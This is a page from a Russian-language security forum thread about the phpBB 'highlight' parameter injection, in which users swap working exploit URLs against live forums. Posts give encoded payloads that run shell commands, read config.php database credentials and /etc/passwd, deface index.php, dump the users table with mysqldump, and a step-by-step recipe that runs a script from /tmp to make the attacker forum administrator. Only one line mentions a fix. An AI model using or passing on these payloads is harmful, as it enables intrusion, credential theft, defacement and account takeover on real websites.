Поиск  Пользователи  Правила 
Закрыть
Логин:
Пароль:
Забыли свой пароль?
Войти
 
Страницы: Пред. 1 2 3 4 5 6 7 След.
RSS
SQL-инъекция и php инклудинг в phpBB
 
Цитата
Interloper пишет:
вот как это дело обходится в некоторых случаях
&highlight=%2527.$poster=%60$file%60.%2527.&file=ls%20-al
Это то всё работает, даже регистрации не надо, как было в прошлых иньекциях, я рад:

viewtopic.php?t=10&&highlight=%2527.$poster=%60$file%60.%252 7.&file=ls%20-al
выдаёт список файлов с атрибутами

viewtopic.php?t=10&highlight=%2527.$poster=%60$file%60.%2527 &file=id;uname%20-a;cat%20con fig.php|grep%20db
выдаёт id под кем запущен апач и грепает по db содержимое файла config.php

ЕДИНСТВЕННОЕ условие - если на тачке поднят апач под unix-like system.
А какие команды нужно выполнить, если на тачке стоит Windows??? (хотябы для этих же действий)
 
Блиин.
Те, кто знает как - дайте людям самим поработать головой.
И так уже всё разжевали и в рот положили.
 
Кста, тут мысль появилась, как дефейс замумить... Строчку перенаправть в файл, а его переименовать, например, в faq.php (или index.php)
 
можно сразу в нужный файл перенаправлять
echo 'defaced' > index.php
 
Зацените прикол:
http://127.0.0.1/phpBB2/viewtopic.php?t=3&highlight=%2527%25 2esystem(chr(100)%252echr(105)%252echr(114))%252e%2527
 
Цитата
Clone пишет:
Зацените прикол:
http://127.0.0.1/phpBB2/viewtopic.php?t=3&highlight=%2527%25 2esystem(chr(100)%252echr(105)%252echr(114))%252e%2527

Чушь, ничерта неработает.
Нашел базу,
пример
viewtopic.php?t=6&highlight=%2527.$poster=%60$ls%60.%2527&ls =id;ls%20/home/www/users/backup/
По выше сказаному примеру, не получается взять думпинг базы sql .Она перед носом, как взять то ?  [IMG]http://www.securitylab.ru/forum/smileys/smiley11.gif[/IMG]
 
а как внести даные в базу, например установить пользователю уровень 1 (т.е. права админа)
 
Если я не ошибаюсь, то SQL-запрос такой:
UPDATE phpbb_users SET user_level=1 WHERE username='Vasya'

Тока вот у меня никак не получается воткнуть этот запрос. Уже даже скрипт пытался залить, делающий это, а там файло не хочет создавать :( у меня депрессия :/
 
Получить хеш админа (в смысле, /etc/passwd файлик) можно вполне. Просто надо вместо пробела команде cat табуляцию писать. Вот так: cat%09/etc/passwd.
Закрывается очень просто - в viewtopic.php комментируешь кусок кода, который обрабатывает HTTP_GET_VARS['highlight']
 
а мой форум успели дефейснуть :( за что спрашваецца абругали :(


щас после обгрейда ...

не один приведенный пример не произвёл на форум никакого действия и ничего лишнего не показал :)
 
Цитата
Гость пишет:
Получить хеш админа (в смысле, /etc/passwd файлик) можно вполне. Просто надо вместо пробела команде cat табуляцию писать. Вот так: cat%09/etc/passwd.
Закрывается очень просто - в viewtopic.php комментируешь кусок кода, который обрабатывает HTTP_GET_VARS['highlight']
1. тоже самое , не обязательно пробел заменять
ls=id;uname%20-a;cat%20/../../../../../../../etc/passwd
результат тот же.
2. Как быть если пароли спрятаны в shadow ? . К сожелению он не отображаеца...
в passwd вписаны только логины
 
имеется запрос:
&highlight=%2527.$poster=$sql.%2527
ответ: UPDATE phpbb_topics SET topic_views = topic_views + 1 WHERE topic_id = 201

имеются запросы: $sql = UPDATE `phpbb_users` SET user_level=1 WHERE user_id ='25'
или: UPDATE phpbb_users SET user_level=1 WHERE user_id='25'
какой нужен запрос чтобы установить админа, а лучше какой пример запроса идёт к БД.
хоть парочку примеров обращения к бд
 
А чем в запросе надо заменять символы '<' и '>' ?
 
Эх... Ну вы ребята даёте. Идите курить на тему mysql, прежде чем задавать такие вопросы...
 
хоть работающий пример sql запроса выложите, а там уже разберёмся
 
Цитата
phg пишет:
имеется запрос:
&highlight=%2527.$poster=$sql.%2527
ответ: UPDATE phpbb_topics SET topic_views = topic_views + 1 WHERE topic_id = 201

имеются запросы: $sql = UPDATE `phpbb_users` SET user_level=1 WHERE user_id ='25'
или: UPDATE phpbb_users SET user_level=1 WHERE user_id='25'
какой нужен запрос чтобы установить админа, а лучше какой пример запроса идёт к БД.
хоть парочку примеров обращения к бд
$sql = "SELECT user_id, username, user_password, user_active, user_level
     FROM " . USERS_TABLE . "
     WHERE username = '" . str_replace("\\'", "''", $username) . "'";

//Выдрано из файла login.php :)
 
блин, какие проблемы?
разжОвываю для особо ленивых:
1) регишься на форуме
2) cat'аешь config.php на предмет данных для доступа к базе
3) делаешь дамп: mysqldump%20-uusername%20-ppassword%20dbname%20phpbb_users
ищешь ID своего юзера
4) создаешь файл
...&highlight=%2527.$poster=%60$file%60.%2527.&file=echo%20m ysql%20-uusername%20-ppassword%20-Ddbname%20-e%20'update%20p hpbb_users%20set%20user_level=1%20where%20user_id=YOU_USER_I­ D'%20%3E%20/tmp/.teeemp
5) чмод +x на файл
6) /bin/sh -c /tmp/.teeemp
вуаля и ты уже администратор форума. можешь логиниться и рулить.
 
Чем можно заменить символ " (двойные кавычки)
?
Пробовал на %22 - тот же результат
"Красота - как специи, которые хорошую еду делают ещё вкуснее, а без еды есть невозможно."
 
в общем pg_dump (PostgreSQL)
как я понял там нельзя ввести пароль, т.к. отдельной стракой нужно вводить пароль, уф...  [IMG]http://www.securitylab.ru/forum/smileys/smiley18.gif[/IMG] и даже wget не работает [IMG]http://www.securitylab.ru/forum/smileys/smiley11.gif[/IMG] может ктонить уже сталкивался с pg_dump ? всего то нужно установить user_level=1
 
Цитата
Shanker пишет:
Чем можно заменить символ " (двойные кавычки)
?
Пробовал на %22 - тот же результат
Попробуй одинарную кавычку.
Страницы: Пред. 1 2 3 4 5 6 7 След.
Читают тему